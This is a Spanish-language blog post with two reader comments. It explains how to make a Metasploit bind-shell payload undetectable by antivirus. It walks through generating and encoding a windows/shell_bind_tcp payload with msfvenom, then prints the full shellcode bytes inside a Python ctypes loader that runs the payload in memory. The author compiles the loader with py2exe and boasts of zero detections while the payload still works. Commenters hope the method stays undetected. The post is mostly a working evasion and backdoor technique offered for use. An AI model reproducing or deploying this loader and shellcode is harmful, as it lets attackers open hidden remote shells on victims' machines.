Msfvenom ayudandonos a evadir av's con python

2 comments
Hola a todos ! llevo bastante tiempo de inactividad sin redactar ningún articulo por falta de tiempo (existen prioridades) y era hora de poder dedicarle un tiempo a compartir información.

Hoy os traigo un articulo relacionado con uno que ya escribí hace un tiempo "Evadiendo AV's con Python" en el qué nos serviamos de un shellcode generado por metaesploit, lógicamente aun siendo este embedido necesitariamos de más para poder conseguir un FUD o limpieza total, es por eso que hoy nos ayudaremos de MSFVENOM para cumplir nuestro objetivo.

- uy uy uy uy, sobrecarga de información! no te vayas al tejado! empieza por cimentar el suelo!

Totalmente cierto, empezaremos por cuestionarnos "¿Qué es msfvenom?" :

Cabe destacar que msfvenom es una herramienta "relativamente nueva" que surge para hacer la vida de los pentesters mucho más sencilla.
Esta herramienta no es más que la únion de "msfpayload" y "msfencoder" por lo que esta no te permite solo generar tu payload sino que permite que se codifíque directamente con algún algoritmo(los presentes en msfencoder).

Dicho esto y dejando claro que es una herramienta muy intuitiva (msfvenom -h para mostrar los parametros disponibles) comenzaremos a darle uso para comenzar a evadir antivirus de forma cómoda y rápida.

1 .Comenzemos a generar y a codificar nuestro payload ! :

Generaremos el payload que usamos en el último artículo :


windows/shell_bind_tcp LPORT=1337 C

y para generarlo y codificarlo escribiremos :

msfvenom --payload  --encoder  --iterations  --bad-chars 

Ejemplo :




























Aun siendo codificado por msfvenom si transformamos este shellcode a exe comprobaremos que aun sigue con bastantes detecciones























Link del resultado -> scan4you.net/result.php?id=8b4fe_3o2aqn

Bien, es hora de comenzar la magia !, usaremos el mismo script que utilizamos en la ocasión pasada , es decir , recurriremos a la libreria ctypes para crear un buffer que ejecute el shellcode en memoria.


from ctypes import *

shellcode = ("\xda\xd7\xd9\x74\x24\xf4\xbd\xf8\xd2\x02\xa0\x5a\x33\xc9" +
"\xb1\x78\x31\x6a\x17\x83\xea\xfc\x03\x92\xc1\xe0\x55\xdc" +
"\x32\x6b\xba\x51\x62\xb4\x1c\xe5\xb0\xc1\xc5\x2e\x70\x98" +
"\x8b\x01\xf0\xc8\xe8\x8b\x08\xed\x9c\x90\x9c\x28\xae\xa2" +
"\x17\xa9\x68\x3b\xd6\x8e\xa4\x3a\x6b\xef\x7d\xbc\x40\xfa" +
"\xf4\xd0\x6e\x8c\x6e\x44\xcc\x7d\xe7\x9d\x5a\x74\xde\x78" +
"\x7d\x3a\x6a\x45\x5a\xa6\x25\xb0\xfb\x36\x1e\x48\xb3\xf6" +
"\xa6\x22\xc6\x85\xe8\x33\x87\xbe\x1d\xfc\xab\x13\x02\xd4" +
"\x82\x2b\xa1\xe5\x3e\x3b\xb5\x51\x33\x50\x16\xa3\xe4\x9f" +
"\x25\xc3\xe8\x89\xd4\xb0\xd1\x83\x50\x20\xcb\x76\x0f\x2d" +
"\x8a\x31\xd9\x3b\xc8\x82\xdd\x65\x94\x57\x04\x3e\x7e\x69" +
"\xa6\x63\xc9\x06\x19\x9d\x49\xe9\x3d\x45\xf5\x19\x5b\xa0" +
"\x8a\x97\x33\xd2\x50\xe6\xff\xc7\xe7\xd6\xb4\x5e\xdd\xcc" +
"\x14\xfd\x18\xc6\xb9\x0c\xd6\xf7\xa4\x9b\xf7\x33\x4d\x56" +
"\xe0\x03\xd8\x8d\xf4\xe9\xde\xa9\xc3\x10\xd5\x8b\xcc\x86" +
"\xf5\x93\x42\x50\x9f\x45\xc9\x10\x4d\x92\x81\xe9\xb1\x85" +
"\xee\x43\xea\x72\x62\x37\x4b\x64\xc5\x0c\xd8\x64\xc0\x38" +
"\xa4\xe1\xad\xf7\xa1\x7e\x50\x52\x72\xac\xef\xd1\x74\x21" +
"\xf3\xe9\xe3\x65\xdb\x26\x48\xd0\x63\x87\x93\x22\x4b\x86" +
"\x0c\x80\x12\x27\x6a\x2e\x1d\x09\x7e\xee\xd1\x0f\xfe\xbe" +
"\x39\x8a\xb2\x55\x03\x4a\xb2\xc2\x79\x36\x9d\xd6\x29\xf4" +
"\xef\x71\xff\xa9\xde\x76\xbd\x62\x60\x52\x12\x8e\x48\x42" +
"\x7d\xaf\x5e\x5d\xc2\xe1\xcb\x39\xee\x86\xe2\x11\x07\xf9" +
"\x6d\x92\xfa\x56\xa2\x1a\xa4\x2d\x2c\x0f\x19\x20\xa2\x34" +
"\x5f\x64\x1a\x05\x87\xe9\xd0\xd5\xa0\xb3\x58\x38\x3b\x2c" +
"\x14\xd0\x74\x16\x46\x7b\x63\xbe\x0c\xae\x08\x9c\x03\x0d" +
"\xed\x06\x99\x2f\xcd\x67\x09\x12\x8c\x29\x6b\x92\x0b\xc5" +
"\x3f\x13\x25\x2a\x77\x5b\xf7\xd8\x63\x87\x46\xb8\xa5\x36" +
"\xc1\xc5\xd5\xcb\x55\xa4\x6f\xd6\x05\x45\x9f\xac\x41\xbe" +
"\xac\xbb\xb8\x03\x46\x04\xde\xd3\x64\x46\x81\x30\x93\x7d" +
"\xd3\x55\x34\xdf\x83\xc4\xde\xf3\x42\x86\x90\xbf\x92\xa0" +
"\x81\xdc\x5e\x05\xc4\x8e\x83\xdb\x6f\x90\xb2\x46\xb1\x2a" +
"\xcd\xd8\x03\x91\xde\x9f\x4e\x05\x75\x2b\x25\x2d\xeb\xfc" +
"\xe5\xa8\x48\xf6\x9f\x77\x8b\xc1\xf4\x78\x0b\xbf\xb4\xc7" +
"\xa6\xb7\x0b\x56\x92\x1b\x40\xc8\x37\x54\xa5\x86\x5b\xaf" +
"\xfd\xab\xa6\x68\xf6\x7b\x0c\xef\x3a\x04\x34\xbe\x55")

memoria = create_string_buffer(shellcode, len(shellcode))
shell = cast(memoria, CFUNCTYPE(c_void_p))
shell()

Bueno , ahora con py2exe lo convertimos en un ejecutable y lo analizamos...








Link del reporte -> http://scan4you.net/result.php?id=53b47_3o2f83

Para nuestra sorpresa y como podemos observar esta TOTALMENTE FUD , 0/35, esto podría estar bien siempre y cuando el payload continuara siendo funcional, ejecutemoslo y veamos si realmente sigue funcionando :





















Y ya con esto concluimos ! , espero que os sirviera de ayuda.
En este artículo no se profundiza en el uso de msfvenom ya que no es lo que se pretende, si deseas saber más acerca de él -> www.google.com

Saludos, Sanko.

2 comentarios

  1. McR:

    Muy buen trabajo bro!!! espero no se queme muy rápido el método pero se ve de lujo...

    ResponderEliminar
  2. Sankito de mi vida XD gracias bro por volver a escribir en el blog :) excelente entrada le di una leida rapida y se ve interesante... ya luego de mañana la vere mejor.

    ResponderEliminar